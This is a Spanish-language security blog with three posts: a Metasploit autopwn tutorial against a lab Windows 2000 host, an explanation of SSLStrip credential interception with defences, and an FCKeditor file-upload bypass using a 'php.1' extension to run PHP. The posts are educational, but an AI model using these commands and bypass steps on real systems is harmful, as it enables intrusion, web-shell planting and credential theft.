Autoexplotación con Metasploit

Bueno este es un tutorial que muestra el uso de metasploit con su modulo de autopwn, mediante un video que se encuentra mas adelante e imágenes; existen varios tutoriales en internet pero no he encontrado ninguno en español y que resuelva los problemas que me fui encontrando en el camino, es por eso que me he tomado la molestia de realizar este tutorial.

La arquitectura que utilice fue OpenSuse 11.1 como explotador (IP 192.168.137.50) y Windows 2000 Professional SP4 como explotado (IP 192.168.137.55).

Instalaciones:

• Lo primero y esencial es instalar nmap, preferiblemente instalarlo de fuentes (http://nmap.org/dist/nmap-4.76.tar.bz2)
• Instalar Nessus desde http://www.nessus.org/download/
• Instalar Postgres Server, en este caso lo instale desde rpm por el Yast.
• Instalar Ruby DESDE FUENTES, aqui es donde tuve pequeños problemas ya que la versión de Ruby que viene en OpenSuse que es Ruby-1.8.7 NO SIRVE, la versión que instale fue la última versión estable SVN (ftp://ftp.ruby-lang.org/pub/ruby/stable-snapshot.tar.gz).
• Instalar RubyGems DESDE FUENTES, la versión que utilice fue la 1.0.0 (http://rubyforge.org/frs/download.php/29516/rubygems-1.0.0.tgz).
• Instalar el ActiveRecord: # gem install activerecord
• Instalar el driver de postgres: # gem install postgres
• Por último instalar Metasploit desde SVN, como se muestra en http://www.metasploit.com/framework/download/

El objetivo de este tutorial es trabajar con metasploit con su modulo autopwn, y para realizar esto importaremos un archivo nessus (nbe) a metasploit.

Lo primero que vamos hacer es correr nmap desde consola (nmap -v -A -sC -p 1-65535 -P0 --reason -oA /root/Desktop/autopwn/nmap_autopwn 192.168.137.55) y que nos dé los resultados en sus tres formatos.

Luego iniciaremos Nessus y exportaremos el archivo *.gnmap a la política que vayamos a crear. Terminado el escaneo de nessus, exportamos el resultado a un archivo *.nbe. (El uso de nmap y nessus escapa al objetivo de este tutorial).

--El video empieza desde este punto--

Listo ahora vayamos a iniciar una instancia de postgres; para realizar esto necesitaremos cambiarnos de usuario ya que root no permite realizar esta acción, hacemos lo siguiente:

# su “usuario”

$ cd /home/”usuario”

$ initdb ~/metasploitdb (Creación de la instancia)
$ pg_ctl -D ~/metasploitdb start (Inicio de postgres)

$ su - (para regresar a root)

Ya tenemos una instancia de postgres iniciada, entonces ahora podemos trabajar con metasploit y lo iniciamos en modo consola:

# cd /root/Programas/metasploit (donde se encuentra mestasploit)

# ./msfconsole

Ahora cargamos postgres en el metasploit con el siguiente comando:

msf > load db_postgres

NOTA: Una vez que cargamos postgres en el metasploit aparecerán nuevos comandos como db_create o db_destroy, etc.

Y luego creamos la base de datos con el siguiente comando:

msf > db_create “usuario”:”passw”@localhost:5432/metasploitdb

Donde: usuario: es el usuario que utilizamos para iniciar la instancia del postgres

passw: cualquier contraseña a utilizar

localhost: porque la instancia de postgres se encuentra en nuestra máquina

5432: puerto que utiliza postgres

metasploitdb: nombre de la base de datos, la cual hemos instanciado

IMPORTANTE: es necesario ingresar todos los parámetros ya que si obviamos uno, no se creará ninguna base de datos.

Nos pedirá ingresar una contraseña, pues entonces ingresamos la misma contraseña que colocamos en el comando explicado arriba.

NOTA: Una vez creada la base de datos aparecerán nuevos comandos como db_hosts, db_services, db_import_*, etc.

Ahora nos toca importar el archivo *.nbe a la base de datos, para eso utilizamos el siguiente comando:

msf > db_import_nessus_nbe “ruta donde se encuentra el archivo”

NOTA: Una vez importada la base de datos mediante los comandos “db_hosts” y “db_services” podemos ver la información que se encuentra en la base de datos.

Ahora que tenemos la base de datos llena, podemos comenzar hacer la explotación automática; mediante el comando en solitario “db_autopwn” podemos apreciar las siguientes opciones:

msf > db_autopwn

[*] Usage: db_autopwn [options]

-h Display this help text

-t Show all matching exploit modules

-x Select modules based on vulnerability references

-p Select modules based on open ports

-e Launch exploits against all matched targets

-r Use a reverse connect shell

-b Use a bind shell on a random port

-q Disable exploit module output

-I [range] Only exploit hosts inside this range

-X [range] Always exclude hosts inside this range

-PI [range] Only exploit hosts with these ports open

-PX [range] Always exclude hosts with these ports open

-m [regex] Only run modules whose name matches the regex

Para sólo ver los exploits que tenemos disponibles para atacar, basados en los puertos que tenemos abiertos, ingresamos el comando:

msf > db_autopwn -t -p

Para sólo ver los exploits que tenemos disponibles para atacar, basados en las vulnerabilidades que tenemos, ingresamos el comando:

msf > db_autopwn -t –x

Listo ya tenemos todo preparado, ahora toca lo más interesante, LA EXPLOTACIÓN, bien pues vamos a explotar el objetivo basándonos en sus vulnerabilidades descubiertas por nessus, entonces ingresamos el siguiente comando:

msf > db_autopwn -t -x -e

Y empieza la explotación.

Al finalizar podremos ver las sesiones creadas durante la explotación con el comando:

msf > sessions –l

Para seleccionar la sesión que queremos, ingresamos el comando:

msf > sessions -i N (donde N es el ID de la sesión)

Vamos a seleccionar la sesión 1 y se generará un CMD de la máquina explotada.


Para finalizar creamos un archivo *.txt y lo colocamos en el escritorio de la máquina explotada.

NOTAS FINALES:

1. El comando db_nmap es el ejecutable /bin/nmap embebido en el metasploit, si utilizamos el comando db_nmap desde metasploit, el resultado se cargará automáticamente en la base de datos creada.
2. Se puede realizar la importación de un resultado de nmap en archivo *.xml con el comando db_import_nmap_xml como lo hicimos con el archivo de nessus.
3. Si se quiere realizar otro análisis distinto y se cargan los datos en la misma base de datos, la autoexplotación de metasploit lo hará a todos los hosts que se encuentren en la base de datos, es recomendable crear nuevamente la base de datos pero bajo el riesgo de perder los datos ingresados anteriormente.

Bueno eso es todo, hasta el próximo post…

VIDEO

SSLStrip

Aprovechando que estuve probando una nueva herramienta, me atrevo a escribir unas líneas para plasmar aquí los resultados, lo aprendido y una que otra divagación propia de una mente ávida de conocimiento.

Como sabemos, hace menos de un mes tuvo lugar la conferencia blackhat, esta vez en Washington. Dentro de las muchas presentaciones, una, expuesta por Moxie Marlinspike abordaba la seguridad de SSL, en específico, la charla se llama New Techniques for defeating SSL. Para Marlinspike la investigación de este tema no es nueva, de hecho, en el 2002 liberó la herramienta sslsniff que aprovechaba un error en la implementación de SSL de algunos navegadores para firmar el certificado de un dominio, con otro, engañando al usuario.

El ataque se basaba en la cadena de confianza, técnicamente hablando utilizaba la cadena de certificados para lograr su objetivo. Una autoridad certificadora válida (CA) firma un certificado válido, pero este último certificado no deberia poder ser usado para firmar mas certificados, obvio no?. Sin embargo, debido a una mala implementación y la no especificación ni lectura del campo basicConstraints, un atacante dueño de un certificado válido, a través de sslsniff que utiliza openssl, firma un certificado fraudulento y dado que la ruta de certificación es válida, el navegador víctima lo toma como válido. Esto significa que cualquiera con un certificado válido podía (ya no es posible debido a que ya fue corregido) crear y firmar otro certificado válido para cualquier otro dominio.
Más info sobre este bug: Aqui. Y el advisor.

En esta oportunidad, la herramienta presentada, sslstrip, no explota una vulnerabilidad propiamente dicha, sino que implementa una ingeniosa manera de engañar a un usuario haciéndole creer que se encuentra en una comunicación cifrada HTTPS cuando en realidad todo el tráfico es HTTP en texto plano. SSLStrip está desarrollado en python y no es otra cosa que un servidor proxy transparente que hace algunas cosas inusuales.

Actualmente el ataque que conozco para "jugar" con comunicaciones HTTPS consta de un MITM con envenamiento ARP. Sin embargo, cualquier usuario avispado dudará en ingresar sus credenciales luego de la advertencia presentada por el navegador respecto al famoso certificado inválido. Hace poco me comentaban que herramientas como ettercap mejoran esta técnica al tomar la información del certificado válido como el Common Name la exponen en el certificado creado por la herramienta para hacer confiar al usuario. Sin embargo, la advertencia siempre se mostrará, y eso no queremos.

La advertencia es mostrada debido a que se crea una comunicación segura en los 2 canales del envenamiento ARP, es decir, uno entre el usuario y el atacante y otro entre el atacante y el servidor Web. Dado esto, es el atacante quien crea su certificado "self signed" y al comprobar el browser del usuario, determinará que no es vállido mostrando esa fea advertencia.

He aquí la innovación de SSLStrip: entre el atacante y el usuario existe una comunicación HTTP sin cifrar y entre el atacante y el Web server existe la comunicación cifrada (Ver imagen). Para esto, SSLStrip que básicamente funciona como un proxy que intercepta comunicaciones HTTP, previo ARP Poison, analiza el tráfico enviado por el usuario y sustituye las comunicaciones cifradas por no cifradas de manera que el usuario visualiza la página que busca, pero sin cifrar. Esto se logra simplemente cambiando cualquier dirección que apunte a un recurso https por un http ya sea links href o redireciones Location.

Esto es posible debido a que normalmente, para llegar a un recurso cifrado HTTPS primero se ingresa mediante HTTP, es decir, la mayoría de veces la única manera de llegar a un cifrado SSL se da a través de links (href) y redirecciones (Location). Me pregunto ¿cuántas personas ingresan a un portal web escribiendo el https adelante?. De hecho conozco varios, incluso algunos demasiado neuróticos al punto que sólo quieren chatear por canales cifrados o que paran con un token en el bolsillo para conectarse a la VPN de su casa para de ahi navegar seguro jajaja, pero son pocos.

Regresando al tema, existen páginas muy conocidas, que presentan todo en HTTP y tan sólo son los Form Action los que apuntan a recursos https entre ellas conocidos bancos gringos o un proveeder de webmail muuuy conocido. Dado esto, SSLStrip sólo tiene que cambiar el link del Form Action para que las credenciales sean enviadas por HTTP logrando capturar las credenciales y significando esto ninguna diferencia para el usuario en cuanto a la visualización.

Veamos como SSLStrip hace el cambio y los resultados conseguidos.

Esta es la versión de el formulario de logueo de Google segura.

Esta es la versión de el formulario de logueo de Google con SSLStrip.

De misma forma, PayPal seguro:

Paypal inseguro:




Es importante mencionar que SSL no está roto, la debilidad (ya que no es una vulnerabilidad) de la que SSLStrip se aprovecha se encuentra en todo el contexto: usuarios no concientizados, portales Web con malos diseños que intentan presentar una idea de seguridad, navegadores, protocolos,etc.

Cabe resaltar que los mecanismos de autenticación que emplean tokens OTP no se encuentran a salvo de este tipo de ataques, pues una vez autenticados podemos usar las cookies de sesión y utilizar los recursos privados, a los cuales no deberíamos tener acceso.

Existen varios métodos para evitar este tipo de ataques, pero en todos es necesario que los usuarios sean concientizados. Entre los métodos para evitar este ataque tenemos:

Desde el lado del cliente:

• Escribir directamente https en la barra de direcciones, con esto primero iniciamos un canal cifrado y dentro de dicho canal se envían las peticiones http, si algún proxy intenta suplantar al servidor o modificar la información que viaja por este canal, el usuario podrá percatarse de ello gracias a las advertencias de los navegadores.

• Verificar la información de seguridad de la web mostrada por el navegador, es decir verificar que se esté usando https, se puede usar https y confundir al usuario usando una técnica llamada homograph attack, pero no si el sitio web usa certificados de validación extendida.

Desde el lado del servidor:

• Evitar usar páginas de autenticación en HTTP con envío a HTTPS o HTTP.

• Evitar el uso de frames, iframes.

• No usar contenido sin cifrar dentro de una web con https, por ejemplo si desean usar alguna imagen, un archivo de javaxript o cualquier otro control, deben ser solicitados vía HTTPS.

• Recordar a los desarolladores que poner un gif de un candadito al costado de donde ingresan las credenciales no convierte a la página en segura.

• En aplicaciones donde se manejan datos muy valiosos se puede considerar implementar la autenticación mutual con certificados.

• En las páginas donde el usuario ingresa información sensible, personal o confidencial, se debe prohibir el tráfico http y por defecto usar HTTPS.

Bueno, eso es todo por ahora, agradecimientos a CC por la ayuda más técnica, hasta otra ocasión.

Vulnerabilidades en FCKeditor

Luego de una buena introducción, empezamos con los posts más técnicos.
Iniciamos con algunas vulnerabilidades bastante sencillas y de criticidad elevada. Estas vulnerabilidades son aún encontradas en muchos servidores Web, tanto de instituciones públicas como privadas en todo el mundo.

Basados en una reciente evaluación, empecemos analizando un editor muy usado por diversas aplicaciones y por desarrolladores. Nos referimos a FCKeditor.

FCKeditor es un editor de texto Open Source del tipo WYSIWYG (What you see is what you get), muy parecido a editores ya conocidos como MS Word o el propio Google Docs. Lo interesante de este editor es que no necesita instalación alguna en el cliente: se basa en el servicio HTTP, es decir, a través de un browser, el usuario puede crear y modificar documentos de texto que luego pueden ser exportados y descargados. Este editor es compatible con la gran mayoría de navegadores conocidos incluyendo a Internet Explorer,
Firefox, Safari, Opera y Netscape.


Algunas de sus características son:
• Generación de código XHTML 1.0
• Soporte CSS
• Incorporar formularios
• Formateo de Fuente
• Cortar, copiar, pegar
• Inserción de imágenes
• Creación de tablas
• Menús contextuales con botón derecho
• Entre otras características

FCKeditor se basa en un núcleo escrito en JavaScript, pero, tambíén es implementado con tecnologías de lado servidor como Asp, Asp.net, Java, PHP, entre otros. Es así que este editor se convierte en una opción para aquel administrador de red que necesite implementar este tipo se soluciones en sus organizaciones.

Ahora viene lo bueno :P, dentro de sus cualidades y al igual que otros muchos sistemas, FCKeditor permite la carga de archivos. En las siguientes líneas veremos cómo es posible vulnerar la carga de archivos de una manera muy simple, para poder ejecutar scripts php. La versión de FCKEditor que hemos utilizado para las pruebas es la 2.4.3 (debido a que es la más desplegada, aunque la 2.6.4 es la más reciente).

Hemos usado una configuración por defecto (como hace el 99.9% de los instaladores), con el connector de carga de archivos habilitado. No está demás aclarar que la información expuesta en este documento es para fines exclusivamente educativos y deberia ser usada por los administradores y desarrolladores de sitios web a fin de solucionar y prevenir posibles intrusiones.

Bien, primero el mensaje "About" que nos muestra la versión utilizada en las pruebas.

El path en donde se encuentra el script que permite la carga de archivos es normalmente el siguiente:

/fckeditor/editor/filemanager/upload/php/upload.php


Como se muestra en la imagen, intentamos subir un archivo php al servidor. El motor de FCKEditor reconoce a esta extensión como no válida y lanza el error "Invalid File". Uy! no podemos hacer nada... o si??. Pues bien, vamos a algo más profundo analizando el código.

Revisemos config.php

 $Config['AllowedExtensions']['File'] = array() ;  
 $Config['DeniedExtensions']['File'] =  
 array('html','htm','php','php2','php3','php4','php5','phtml','pwml','inc','asp','aspx','ascx','jsp',  
 'cfm','cfc','pl','bat','exe','com','dll','vbs','js','reg','cgi','htaccess','asis','sh','shtml','shtm','phtm') ;  
 $Config['AllowedExtensions']['Image'] = array('jpg','gif','jpeg','png') ;  
 $Config['DeniedExtensions']['Image'] = array() ;  
 $Config['AllowedExtensions']['Flash'] = array('swf','fla') ;  
 $Config['DeniedExtensions']['Flash'] = array() ;  

Primera observación, si bien es cierto que no es vulnerabilidad, pero sí una mala práctica : permitir todo y tener excepciones de negación. Tomemos como analogía el caso típico de la configuración correcta de un firewall : "denegar todo y luego hacer excepciones de permitir". Como vemos, en este caso, se hace lo contrario, debido a que permite cualquier archivo que no tenga como extensión alguna que este prohibida explícitamente, es decir, se usa una política de aceptar todo y denegar excepciones. Imagínese que desea que sus
usuarios carguen sólo documentos, ¿por qué habría de permitirles que carguen un archivo con extensión "1" o "abc"?.

Analizamos uplodad.php

 // Get the extension.  
 $sExtension = substr( $sFileName, ( strrpos($sFileName, '.') + 1 ) ) ;  
 $sExtension = strtolower( $sExtension ) ;  

He aquí el problema. Para determinar la extensión, lo que se hace es tomar los caracteres luego del punto "." en el archivo. Luego de esto, la extensión en la variable $sExtension es buscada en los arreglos de denegados o permitidos para determinar sí el archivo sera cargado o no.

Aquí podemos indicar un punto importante, no debemos fiarnos del tipo de archivo sólo por la extensión, debemos tener en cuenta el tipo de archivo (mime-type), en php podemos usar la sigueinte sentencia para obtener el tipo de archivo: $_FILES['attachement']['type']

Por ejemplo si deseamos que nuestros usuarios carguen imágenes, entonces primero debemos permitir sólo las extensiones de imágenes que según nuestras políticas de seguridad deban ser permitidas. Luego, debemos verificar el mime-type y por último podemos verificar que sea una imágen válida intentando obtener (mediante código, en tiempo de ejecución) las dimensiones de la misma.

Es asi que si creamos un archivo con una distinta extensión con un pequeño script en php. Notemos que la extensión usada fue "php.1":


La carga de archivos se realizada exitosamente!. Ahora tan sólo tenemos que llamar al archivo desde el browser. Cómo saber cual es la ruta de subida? Afortunadamente FCKEditor nos evita la tarea de determinar dónde y lo muestra en "Uploaded File URL".

Como vemos, el script php fue ejecutado. Por lo tanto vemos otra mala práctica : no debemos permitir la ejecución de archivos cargados por los usuarios. Es decir, debemos aplicar el principio del mínimo privilegio (least privilege). Tenga en cuenta que no siempre es necesario cargar los archivos en un sítio público o que pueda ser accedido públicamente, en ocasiones puede cargar el archivo y sólo ser visto en la red local, o ser visto sólo por las personas que lo requieran.


En este caso hemos cargado un simple hello world, para los que están metidos en esto, se les debe hacer conocido la famosa c99.php que ya permite acciones para la elevación de privilegios.

Las posibilidades con la carga de archivos son muchísimas, desde un simple defacement (aunque bastante publicitados), usar el servidor como un nodo de ataque o tomar control de la red entera.

Recuerden que un atacante que busca algo específico (pueden ser espías, modificar data por dinero, delincuentes, etc) evitará en todo momento ser detectado, por ello, es una buena práctica tener un hash de cada archivo de su aplicación Web.

Tal vez el administrador nunca llegue a enterarse de este tipo de ataques sigilosos, pero pueden causar muchísimo daño, asi que no sólo debemos preocuparnos por los defacers. El advisor que explica el problema puede ser encontrado en

http://secunia.com/advisories/27123/

A modo de conclusión, consideramos necesario resaltar que existen muchas soluciones/sistemas que usan FCKeditor y debemos tener en cuenta que no siempre nos preocupamos por actualizarlos. Por ejemplo en su organización tienen una intranet hecha a la medida, para esta intranet no hay actualizaciones, pero se ha usado FCKeditor, entonces deberían actualizar y configurar apropiadamente este editor, pues representa un vector de ataque de
muy fácil explotación.


La información mostrada en este post contiene vulnerabilidades que son comunes en la mayoría de aplicaciones de carga de archivos (por ejemplo: los muy conocidos avatares en foros y comunidades), por lo tanto, deben ser bastante cuidadosos al momento de usar estafuncionalidad y en el caso de los desarrolladores, siempre tengan en cuenta la seguridad.